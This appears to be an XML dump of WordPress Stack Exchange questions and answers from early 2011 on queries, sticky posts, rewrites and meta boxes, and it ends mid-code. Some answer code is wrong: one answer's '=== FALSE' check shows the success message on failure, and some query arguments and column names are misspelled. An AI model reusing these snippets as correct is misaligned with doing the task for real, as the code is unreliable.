or approved by the author?  Just helps you manage what is and isn't OK for display on the site.&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2011-01-06T21:42:02.627" />
  <row Id="6487" PostTypeId="2" ParentId="5938" CreationDate="2011-01-06T21:52:34.913" Score="0" ViewCount="" Body="&lt;p&gt;You'd want to put this template in your (child) theme, and edit it:&#xA;/members/single/member-header.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you don't want it in the header, look in the home.php in that directly and see which template file is included.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should then be able to use the normal WordPress loop, something like:&#xA;$your_loop = get_posts( 'author=' . bp_displayed_user_id() );&lt;/p&gt;&#xA;" OwnerUserId="1950" LastActivityDate="2011-01-06T21:52:34.913" />
  <row Id="6488" PostTypeId="2" ParentId="5797" CreationDate="2011-01-06T21:56:23.210" Score="1" ViewCount="" Body="&lt;p&gt;I think you probably want to use bp_core_get_user_domain(); I think bp_core_get_userurl() was taken out after the first release of BuddyPress.&lt;/p&gt;&#xA;" OwnerUserId="1950" LastActivityDate="2011-01-06T21:56:23.210" />
  <row Id="6491" PostTypeId="1" CreationDate="2011-01-06T22:35:23.830" Score="0" ViewCount="93" Body="&lt;p&gt;I manage a large WordPress network and the most difficult task I find is accurately propagating new or updated plugins and site options from my development servers to my staging and production servers and vice versa.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unless I am creating a new site I cannot simply push the database up to each level for fear of overwriting newer content.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a means to automate this process or common practices to effectively utilize WordPress inside Release Management or a Development Lifecycle?&lt;/p&gt;&#xA;" OwnerUserId="2362" LastEditorUserId="2362" LastEditorDisplayName="" LastEditDate="2011-02-14T23:41:40.880" LastActivityDate="2011-02-14T23:41:40.880" Title="How to Propagate WordPress Plugin and Site Options with in Release Management" Tags="&lt;plugins&gt;&lt;options&gt;&lt;release-process&gt;" CommentCount="4" FavoriteCount="1" />
  <row Id="6492" PostTypeId="2" ParentId="6476" CreationDate="2011-01-06T23:15:20.537" Score="2" ViewCount="" Body="&lt;p&gt;I have been using &lt;a href=&quot;http://www.blaenkdenum.com/wp-recaptcha/&quot; rel=&quot;nofollow&quot;&gt;Recaptcha&lt;/a&gt; which has the added benefit of helping to translate literature. (!)The plugin linked above will add Re-Captcha to your comments or registration form or both. It also has features like themes for the captcha forms. Definitely worth looking into.&lt;/p&gt;&#xA;" OwnerUserId="2357" LastActivityDate="2011-01-06T23:15:20.537" />
  <row Id="6493" PostTypeId="1" AcceptedAnswerId="6497" CreationDate="2011-01-06T23:15:35.787" Score="1" ViewCount="211" Body="&lt;p&gt;I've got a custom query on my homepage showing all posts in a certain category. I need this query to respect sticky posts, but it seems from my research that category queries ignore stickyness. My question is two (and a half) fold:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Can anyone tell me where/how in the database stickyness is applied to a post? I don't see it in &lt;code&gt;wp_postmeta&lt;/code&gt; or &lt;code&gt;wp_posts&lt;/code&gt;. &lt;strong&gt;This one is most important and will probably be enough to get you the &lt;s&gt;win&lt;/s&gt; accepted answer.&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;Is there any simple elegant way to grab sticky posts only from a certain category?&lt;/li&gt;&#xA;&lt;li&gt;If not, then how about an ugly way to do it?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Just for the heck of it, here's my query, though I think it won't make a difference to the answer.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$getHighlights = array(&#xA;    'posts_per_page' =&amp;gt; 7,&#xA;    'post_type' =&amp;gt; array('post','Event'),&#xA;    'category_name' =&amp;gt; 'Highlights', &#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Sorry for the long title, but I wanted to be clear what I was asking for.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="2044" LastEditorUserId="2044" LastEditorDisplayName="" LastEditDate="2011-01-11T23:11:43.997" LastActivityDate="2011-01-12T01:23:23.123" Title="Using categories &amp; &quot;stickyness&quot; together" Tags="&lt;categories&gt;&lt;query-posts&gt;&lt;sticky-post&gt;" AnswerCount="2" FavoriteCount="3" />
  <row Id="6494" PostTypeId="2" ParentId="6493" CreationDate="2011-01-06T23:35:18.990" Score="2" ViewCount="" Body="&lt;p&gt;Sticky is not saved per post, there is &lt;code&gt;sticky_posts&lt;/code&gt; option that holds array of such. So you can fetch that with &lt;code&gt;$sticky_posts = get_option('sticky_posts');&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/query_posts#Sticky_Post_Parameters&quot; rel=&quot;nofollow&quot;&gt;Sticky Post Parameters&lt;/a&gt; in Codex for details on querying stickies.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am not entirely sure what would be the best approach to make your query respect stickies. From quick look at code it's likely &lt;code&gt;is_home&lt;/code&gt; conditional gets overridden and that kicks stickies off. Might be able to hook somewhere and fake that conditional, but this might break something further in processing.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-01-06T23:35:18.990" CommentCount="2" />
  <row Id="6495" PostTypeId="1" AcceptedAnswerId="6496" CreationDate="2011-01-07T00:39:33.450" Score="0" ViewCount="108" Body="&lt;p&gt;I really like having my code all properly indented and all, but all the code generated by wordpress, like the one that appears on the header when we use wp_head(), loses all the indentation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think it doesn't really matter, neither the users nor the search engines give a s**t about the code being indented or not, but when it comes to debugging, it really helps a lot.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do you know of any plugin or option or something to fix this?&lt;/p&gt;&#xA;" OwnerUserId="2169" LastActivityDate="2011-01-07T00:48:09.390" Title="Proper indentation of code generated inside hooks" Tags="&lt;hooks&gt;&lt;code&gt;" AnswerCount="1" />
  <row Id="6496" PostTypeId="2" ParentId="6495" CreationDate="2011-01-07T00:48:09.390" Score="2" ViewCount="" Body="&lt;p&gt;I don't think correct global indentation is possible without massive (and inefficient) output buffering to change it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since you are primarily interested in this for debug purposes I suggest using some tool that will format and color-code output (of any page btw, not just those that you control).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://getfirebug.com/&quot; rel=&quot;nofollow&quot;&gt;Firebug&lt;/a&gt; and &lt;a href=&quot;https://addons.mozilla.org/en-US/firefox/addon/655/&quot; rel=&quot;nofollow&quot;&gt;View Source Chart&lt;/a&gt; work nicely for me.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-01-07T00:48:09.390" />
  <row Id="6497" PostTypeId="2" ParentId="6493" CreationDate="2011-01-07T01:10:52.093" Score="6" ViewCount="" Body="&lt;p&gt;Just add &lt;code&gt;'posts__in' =&amp;gt; get_option('sticky_posts')&lt;/code&gt; to your query, to confine your query to only sticky posts. So,&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$getHighlights = array(&#xA;    'numberposts' =&amp;gt; 7,&#xA;    'post_type' =&amp;gt; array('post','Event'),&#xA;    'posts__in' =&amp;gt; get_option('sticky_posts'),&#xA;    'category_name' =&amp;gt; 'Highlights'&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;should work for you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Edit: This is how you can merge two arrays to get the sticky posts at the top of your query:&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$getHighlights_sticky = get_posts( array(&#xA;        'numberposts' =&amp;gt; 7,&#xA;        'post_type' =&amp;gt; array('post','Event'),&#xA;        'posts__in' =&amp;gt; get_option('sticky_posts'),&#xA;        'category_name' =&amp;gt; 'Highlights'&#xA;    ));&#xA;$getHighlights_other = get_posts( array(&#xA;        'numberposts' =&amp;gt; 7 - count( $getHighlights_sticky ),&#xA;        'post_type' =&amp;gt; array('post','Event'),&#xA;        'posts__not_in' =&amp;gt; get_option('sticky_posts'),&#xA;        'category_name' =&amp;gt; 'Highlights'&#xA;    ));&#xA;foreach ( array_merge( $getHighlights_sticky, $getHighlights_other ) as $post ) {&#xA;    setup_postdata( $post );&#xA;&#xA;    // your display loop&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will show 7 posts, with the stickies at the top (of course, this is assuming you don't have more than 7 stickies, otherwise it'll be all messed up...) &lt;em&gt;(edited to use &lt;code&gt;numberposts&lt;/code&gt; as per OP's comment below...)&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="290" LastEditorUserId="290" LastEditorDisplayName="" LastEditDate="2011-01-12T01:23:23.123" LastActivityDate="2011-01-12T01:23:23.123" CommentCount="8" />
  <row Id="6498" PostTypeId="2" ParentId="1700" CreationDate="2011-01-07T02:35:47.103" Score="0" ViewCount="" Body="&lt;p&gt;I've had the same problem, the problem is your server is getting overloaded.  I would track down the source of the problem.  To resolve this issue I had to increase my server size to 1024MB, optimize apache and setting up caching.  W3 Total Cache is an excellent plugin for WP to help reduce server load and works with the RackSpace CDN.  &lt;/p&gt;&#xA;" LastActivityDate="2011-01-07T02:35:47.103" />
  <row Id="6499" PostTypeId="1" AcceptedAnswerId="6500" CreationDate="2011-01-07T02:46:16.763" Score="0" ViewCount="603" Body="&lt;p&gt;I'm trying to create a conditional statement for the content width in the functions.php of my theme. So some categories will have a content_width of 580, some will have 900. This will make the oEmbed work correctly wherever it's used.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Usually, you would have this in your functions.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( ! isset( $content_width ) ) &#xA;    $content_width = 900;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I want something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if(in_category(array('news','blog'))) {&#xA;   $content_width = 580;&#xA;} &#xA;elseif(is_page()) {&#xA;   $content_width = 580;&#xA;}&#xA;else {&#xA;   $content_width = 900;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I have this in my functions.php the content width becomes whatever I write in the last line. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I missing something? Is this even possible?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="2357" LastActivityDate="2011-01-07T03:06:20.883" Title="how to create a conditional content_width for a wordpress theme?" Tags="&lt;theme-development&gt;&lt;conditional-content&gt;&lt;oembed&gt;" AnswerCount="1" />
  <row Id="6500" PostTypeId="2" ParentId="6499" CreationDate="2011-01-07T02:58:37.407" Score="2" ViewCount="" Body="&lt;p&gt;No, its not possible. &lt;strong&gt;$content_width&lt;/strong&gt; is a theme-wide constant, and its set in functions.php before any of the query conditionals are set.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;$content_width&lt;/strong&gt; is used to determine the intermediate image sizes in &lt;code&gt;image_send_to_editor&lt;/code&gt;. The &quot;large&quot; image size will be set to the value of $content_width.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you need to modify those sizes on a per-category basis, you can hook into that filter... see my answer on the question &lt;a href=&quot;http://wordpress.stackexchange.com/questions/6103/change-set-post-thumbnail-size-according-to-post-type-admin-page/6115#6115&quot;&gt;change set_post_thumbnail_size according to post type admin page&lt;/a&gt; for a general example of how this can be done (note that this will almost always fail if you're trying to do it by category, as the post category is almost always not set when the user first uploads an image - setting it by post type is a little more reliable)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;No matter how wide your posts and pages are, set &lt;strong&gt;$content_width&lt;/strong&gt; to the widest image you want a user to include in a post.&lt;/p&gt;&#xA;" OwnerUserId="290" LastEditorUserId="290" LastEditorDisplayName="" LastEditDate="2011-01-07T03:06:20.883" LastActivityDate="2011-01-07T03:06:20.883" CommentCount="1" />
  <row Id="6503" PostTypeId="1" CreationDate="2011-01-07T03:35:57.780" Score="1" ViewCount="364" Body="&lt;p&gt;I recently started using simple fields on a project to differentiate between types of posts. All posts from now on will have one of four possible meta values associated with this (Story, Article, Video or Cartoon). None of these types of posts have unique attributes or values, so I've decided not to go the custom post type route this time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm aware how to query for posts with a certain meta value, but this only works on posts that already have that meta key associated with them - not for posts that were created before the simple fields plugin was installled, and put into use. I'm curious how I would query for all posts that either lack the meta key &quot;fizzbuzz&quot; or have the key but it's associated with a value of &quot;foobar&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to query for all posts that lack a key altogether?&lt;/p&gt;&#xA;" OwnerUserId="92" LastActivityDate="2011-01-07T17:11:10.847" Title="query_posts() on key's value, or key's existence" Tags="&lt;query-posts&gt;&lt;post-meta&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="6504" PostTypeId="2" ParentId="6503" CreationDate="2011-01-07T03:51:49.017" Score="1" ViewCount="" Body="&lt;p&gt;This will get you everything that &lt;em&gt;doesn't&lt;/em&gt; have the meta key fizzbizz. The custom loop part, I lifted &lt;a href=&quot;http://codex.wordpress.org/Displaying_Posts_Using_a_Custom_Select_Query#The_Revised_Loop&quot; rel=&quot;nofollow&quot;&gt;directly from the codex&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$pageposts = $wpdb-&amp;gt;get_results(&quot;&#xA;    SELECT * FROM wp_posts p &#xA;    LEFT JOIN wp_postmeta m &#xA;    ON p.ID = m.post_id &#xA;    WHERE m.meta_key &amp;lt;&amp;gt; 'fizzbizz'&#xA;    OR m.metakey IS NULL&#xA;    ORDER BY p.post_date DESC;&#xA;&quot;);&#xA;&#xA;if ($pageposts):&#xA;    global $post;&#xA;    foreach ($pageposts as $post): &#xA;    setup_postdata($post);&#xA;// now you are in the loop, use the_title() or whatever&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will get everything where it's got the key, but the value is 'foobar'&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$pageposts = $wpdb-&amp;gt;get_results(&quot;&#xA;    SELECT * FROM wp_posts p &#xA;    JOIN wp_postmeta m &#xA;    ON p.ID = m.post_id &#xA;    WHERE m.meta_key = 'fizzbizz' &#xA;    AND m.meta_value = 'foobar' &#xA;    ORDER BY p.post_date DESC;&#xA;&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and that last one is tricky, I'm not so sure on that one...&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Edit&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Fixed first query thanks to &lt;a href=&quot;http://stackoverflow.com/questions/4627917/select-all-rows-where-there-is-not-a-specific-value-in-a-different-table&quot;&gt;this question&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="2044" LastEditorUserId="2044" LastEditorDisplayName="" LastEditDate="2011-01-07T17:11:10.847" LastActivityDate="2011-01-07T17:11:10.847" CommentCount="5" />
  <row Id="6505" PostTypeId="1" AcceptedAnswerId="6506" CreationDate="2011-01-07T04:08:36.113" Score="1" ViewCount="457" Body="&lt;p&gt;My code is &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if( $wpdb-&amp;gt;update($tableName,array('opt_value'=&amp;gt;$cInfo),array('opt_name'=&amp;gt;'showWeatherWidget')))&#xA;    //show success message&#xA;else&#xA;    // show failure message&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is not correct, &lt;code&gt;$wpdb-&amp;gt;update()&lt;/code&gt; returns false if it doesn't change any data, but there were no errors. Can someone tell me the proper way to display a success message that a field was updated?&lt;/p&gt;&#xA;" OwnerUserId="2044" LastActivityDate="2011-01-07T04:20:50.613" Title="Check for success of $wpdb-&gt;update() correctly" Tags="&lt;plugin-development&gt;&lt;wpdb&gt;" AnswerCount="1" />
  <row Id="6506" PostTypeId="2" ParentId="6505" CreationDate="2011-01-07T04:20:50.613" Score="2" ViewCount="" Body="&lt;p&gt;The correct way is with &lt;code&gt;=== FALSE&lt;/code&gt; which differentiates from equalling zero, which is what a succesful query with no results returns.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if( $wpdb-&amp;gt;update($tableName,array('opt_value'=&amp;gt;$cInfo),array('opt_name'=&amp;gt;'showWeatherWidget')) === FALSE)&#xA;    //show success message&#xA;else&#xA;    // show failure message&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2044" LastActivityDate="2011-01-07T04:20:50.613" />
  <row Id="6507" PostTypeId="2" ParentId="1353" CreationDate="2011-01-07T04:34:10.950" Score="0" ViewCount="" Body="&lt;p&gt;Hi You can take a look at this comprehensive plugin:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.solaceten.info/extra-comment-fields-plugin&quot; rel=&quot;nofollow&quot;&gt;http://www.solaceten.info/extra-comment-fields-plugin&lt;/a&gt;&lt;/p&gt;&#xA;" LastActivityDate="2011-01-07T04:34:10.950" />
  <row Id="6508" PostTypeId="1" AcceptedAnswerId="6509" CreationDate="2011-01-07T04:46:19.837" Score="0" ViewCount="185" Body="&lt;p&gt;I'm messing with wp_rewrite and have spent the past few hours trying to figure regular expressions out again (i seem to have forgotten.) This is probably extremely easy for someone.  Basically I'd like to match an alpha expression and stop at teh first occurance of a forward slash. Here's what i'm doing:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a url&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.mydomain.com/basename/uniquename/page/2/&quot; rel=&quot;nofollow&quot;&gt;http://www.mydomain.com/basename/uniquename/page/2/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to get uniquename out with the following&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;'basename/(.*)/page/([0-9]{4})/?$' =&amp;gt; 'index.php?post_type=basename&amp;amp;uniquenametaxonomy='.$wp_rewrite-&amp;gt;preg_index(1).'&amp;amp;paged='.$wp_rewrite-&amp;gt;preg_index(2),&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;obviously (.*) matches /page/ as well as uniquename and provides me with a query string looking like&lt;/p&gt;&#xA;&#xA;&lt;p&gt;?post_type=basname&amp;amp;uniquenametaxonomy=uniquename%2Fpage%2F2&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like it to be&lt;/p&gt;&#xA;&#xA;&lt;p&gt;?post_type=basname&amp;amp;uniquenametaxonomy=uniquename&amp;amp;paged=2&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know it has to be extremely easy, I'd like to match uniquename and stop at the first occurance of a forward slash.&lt;/p&gt;&#xA;" OwnerUserId="2271" LastActivityDate="2011-01-07T11:09:20.463" Title="Use Regular Expression to get tag from permalink url during wp_rewrite in generate_rewrite_rules" Tags="&lt;permalinks&gt;&lt;url-rewriting&gt;" AnswerCount="3" FavoriteCount="1" />
  <row Id="6509" PostTypeId="2" ParentId="6508" CreationDate="2011-01-07T04:57:18.890" Score="2" ViewCount="" Body="&lt;p&gt;Replace &lt;code&gt;(.*)&lt;/code&gt; with &lt;code&gt;(.*?)&lt;/code&gt;. The question mark makes it 'lazy'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, replace &lt;code&gt;([0-9]{4})&lt;/code&gt; with &lt;code&gt;(\d+)&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;http://www.regular-expressions.info/reference.html&quot; rel=&quot;nofollow&quot;&gt;http://www.regular-expressions.info/reference.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="205" LastEditorUserId="205" LastEditorDisplayName="" LastEditDate="2011-01-07T05:03:06.620" LastActivityDate="2011-01-07T05:03:06.620" CommentCount="1" />
  <row Id="6510" PostTypeId="1" AcceptedAnswerId="8935" CreationDate="2011-01-07T05:59:02.157" Score="0" ViewCount="168" Body="&lt;p&gt;register plus no longer works with WP 3.0 and has been replaced by register plus redux.  I haven't found anything about upgrading to that plugin and keeping all the data, does anybody have any experience with that?&lt;/p&gt;&#xA;" OwnerUserId="2092" LastActivityDate="2011-02-09T03:59:14.933" Title="Transfer from register plus to register plus redux plugin" Tags="&lt;plugins&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="6511" PostTypeId="1" AcceptedAnswerId="6518" CreationDate="2011-01-07T06:50:51.717" Score="4" ViewCount="177" Body="&lt;p&gt;A website I work on recently posted a file at the root of their website named &quot;2011.html.&quot;  Now, any 2011 blog posts with the permalink structure of year/month/day/post-name do not work, and instead load the 2011.html file.  Trying to bring up the archive at domain.com/2011/ also incorrectly brings up the file.  2010 and other years work as expected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way I can use mod_rewrite to only acknowledge this file when 2011.html is explicitly in the URL, and use the standard permalink structure with every other URL so that the blog functionality is restored?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The link to this file was sent out in a marketing e-mail, and is receiving a lot of activity so it can't be moved or renamed.&lt;/p&gt;&#xA;" OwnerUserId="5" LastActivityDate="2011-01-11T11:08:49.700" Title="My permalinks are broken! Can I use mod_rewrite to ignore a physical file?" Tags="&lt;permalinks&gt;&lt;mod-rewrite&gt;" AnswerCount="2" FavoriteCount="2" />
  <row Id="6512" PostTypeId="2" ParentId="578" CreationDate="2011-01-07T07:12:50.670" Score="1" ViewCount="" Body="&lt;p&gt;Hierarchical version of @somatic's answer, as requested by @kevin:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;add_action( 'restrict_manage_posts', 'my_restrict_manage_posts' );&#xA;function my_restrict_manage_posts() {&#xA;&#xA;    // only display these taxonomy filters on desired custom post_type listings&#xA;    global $typenow;&#xA;    if ($typenow == 'photos' || $typenow == 'videos') {&#xA;&#xA;        // create an array of taxonomy slugs you want to filter by - if you want to retrieve all taxonomies, could use get_taxonomies() to build the list&#xA;        $filters = array('plants', 'animals', 'insects');&#xA;&#xA;        foreach ($filters as $tax_slug) {&#xA;            // retrieve the taxonomy object&#xA;            $tax_obj = get_taxonomy($tax_slug);&#xA;            $tax_name = $tax_obj-&amp;gt;labels-&amp;gt;name;&#xA;&#xA;            // output html for taxonomy dropdown filter&#xA;            echo &quot;&amp;lt;select name='$tax_slug' id='$tax_slug' class='postform'&amp;gt;&quot;;&#xA;            echo &quot;&amp;lt;option value=''&amp;gt;Show All $tax_name&amp;lt;/option&amp;gt;&quot;;&#xA;            generate_taxonomy_options($tax_slug,0,0);&#xA;            echo &quot;&amp;lt;/select&amp;gt;&quot;;&#xA;        }&#xA;    }&#xA;}&#xA;&#xA;function generate_taxonomy_options($tax_slug, $parent = '', $level = 0) {&#xA;    $args = array('show_empty' =&amp;gt; 1);&#xA;    if(!is_null($parent)) {&#xA;        $args = array('parent' =&amp;gt; $parent);&#xA;    } &#xA;    $terms = get_terms($tax_slug,$args);&#xA;    $tab='';&#xA;    for($i=0;$i&amp;lt;$level;$i++){&#xA;        $tab.='--';&#xA;    }&#xA;    foreach ($terms as $term) {&#xA;        // output each select option line, check against the last $_GET to show the current option selected&#xA;        echo '&amp;lt;option value='. $term-&amp;gt;slug, $_GET[$tax_slug] == $term-&amp;gt;slug ? ' selected=&quot;selected&quot;' : '','&amp;gt;' .$tab. $term-&amp;gt;name .' (' . $term-&amp;gt;count .')&amp;lt;/option&amp;gt;';&#xA;        generate_taxonomy_options($tax_slug, $term-&amp;gt;term_id, $level+1);&#xA;    }&#xA;&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I basically removed the code that created the options and put that in it's own function.  The function 'generate_taxonomy_options', in addition of taking the tax_slug, also takes a parent and level parameter.  The function assumes that its creating options for the parent 0, which will select all the root level terms.  In the loop the function will recursively call itself, using that current term as a parent and increasing the level by one.  It automatically adds ticks to the side the deeper you go down the tree and voila!&lt;/p&gt;&#xA;" OwnerUserId="2234" LastEditorUserId="2234" LastEditorDisplayName="" LastEditDate="2011-01-08T06:04:37.677" LastActivityDate="2011-01-08T06:04:37.677" CommentCount="0" />
  <row Id="6513" PostTypeId="1" AcceptedAnswerId="6707" CreationDate="2011-01-07T08:02:02.997" Score="0" ViewCount="360" Body="&lt;p&gt;Hi guys I have a headache on this I make a multicheck with this tutorial wpshout.com/create-an-in-post-theme-options-meta-box-in-wordpress/ the problem is it doesn't save all checked value and it doesn't checked the checked value when editing post.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are my code&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I add here an array for muticheckbox&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;?php    function hybrid_post_meta_boxes() {&#xA;&#xA;/* Array of the meta box options. */&#xA;$meta_boxes = array(&#xA;    'title' =&amp;gt; array( 'name' =&amp;gt; 'Title', 'title' =&amp;gt; __('Title', 'hybrid'), 'type' =&amp;gt; 'text' ),&#xA;    'description' =&amp;gt; array( 'name' =&amp;gt; 'Description', 'title' =&amp;gt; __('Description', 'hybrid'), 'type' =&amp;gt; 'textarea' ),&#xA;    'location' =&amp;gt; array( 'name' =&amp;gt; 'location', 'title' =&amp;gt; __('Location:', 'hybrid'), 'type' =&amp;gt; 'check', 'options' =&amp;gt; array(&#xA;    'AL' =&amp;gt; 'Alabama',&#xA;    'CA' =&amp;gt; 'California',&#xA;    'DE' =&amp;gt; 'Delaware',&#xA;),&#xA;);&#xA;&#xA;return apply_filters( 'hybrid_post_meta_boxes', $meta_boxes ); } ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I add else statement for multi checkbox&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;?php&#xA;    function post_meta_boxes() {&#xA;    global $post;&#xA;    $meta_boxes = hybrid_post_meta_boxes(); ?&amp;gt;&#xA;&#xA;&amp;lt;table class=&quot;form-table&quot;&amp;gt;&#xA;&amp;lt;?php foreach ( $meta_boxes as $meta ) :&#xA;&#xA;    $value = get_post_meta( $post-&amp;gt;ID, $meta['name'], true );&#xA;&#xA;    if ( $meta['type'] == 'text' )&#xA;        get_meta_text_input( $meta, $value );&#xA;    elseif ( $meta['type'] == 'textarea' )&#xA;        get_meta_textarea( $meta, $value );&#xA;    elseif ( $meta['type'] == 'select' )&#xA;        get_meta_select( $meta, $value );&#xA;    elseif ( $meta['type'] == 'check' )&#xA;        get_meta_check( $meta, $value );&#xA;&#xA;endforeach; ?&amp;gt;&#xA;&amp;lt;/table&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I made a function for multicheck&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;?php function get_meta_check( $args = array(), $value = false ) {&#xA;&#xA;extract( $args ); ?&amp;gt;&#xA;&#xA;&amp;lt;tr&amp;gt;&#xA;    &amp;lt;th style=&quot;width:10%;&quot;&amp;gt;&#xA;        &amp;lt;label for=&quot;&amp;lt;?php echo $name; ?&amp;gt;&quot;&amp;gt;&amp;lt;?php echo $title; ?&amp;gt;&amp;lt;/label&amp;gt;&#xA;    &amp;lt;/th&amp;gt;&#xA;    &amp;lt;td&amp;gt;&#xA;&#xA;        &amp;lt;?php foreach ( $options as $option ) : ?&amp;gt;&#xA;          &amp;lt;input type=&quot;checkbox&quot; name=&quot;&amp;lt;?php echo $name; ?&amp;gt;&quot; id=&quot;&amp;lt;?php echo $name; ?&amp;gt;&quot; value=&quot;, &amp;lt;?php echo $option; ?&amp;gt;, &quot; &amp;lt;?php if ( htmlentities( $value, ENT_QUOTES ) == $option ) echo ' checked=&quot;checked&quot;'; ?&amp;gt; /&amp;gt; &amp;lt;?php echo $option; ?&amp;gt;,&#xA;        &amp;lt;?php endforeach; ?&amp;gt;&#xA;        &amp;lt;input type=&quot;hidden&quot; name=&quot;&amp;lt;?php echo $name; ?&amp;gt;_noncename&quot; id=&quot;&amp;lt;?php echo $name; ?&amp;gt;_noncename&quot; value=&quot;&amp;lt;?php echo wp_create_nonce( plugin_basename( __FILE__ ) ); ?&amp;gt;&quot; /&amp;gt;&#xA;    &amp;lt;/td&amp;gt;&#xA;&amp;lt;/tr&amp;gt;&#xA;&amp;lt;?php } ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How can I do code with saving all value of checked box? thanks! &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;blockquote&gt;&#xA;    &lt;p&gt;UPDATE&lt;/p&gt;&#xA;  &lt;/blockquote&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    function save_meta_data( $post_id ) {&#xA;    global $post;&#xA;&#xA;    if ( 'page' == $_POST['post_type'] )&#xA;        $meta_boxes = array_merge( page_meta_boxes() );&#xA;    else&#xA;        $meta_boxes = array_merge( post_meta_boxes() );&#xA;&#xA;    foreach ( $meta_boxes as $meta_box ) :&#xA;&#xA;        if ( !wp_verify_nonce( $_POST[$meta_box['name'] . '_noncename'], plugin_basename( __FILE__ ) ) )&#xA;            return $post_id;&#xA;&#xA;        if ( 'page' == $_POST['post_type'] 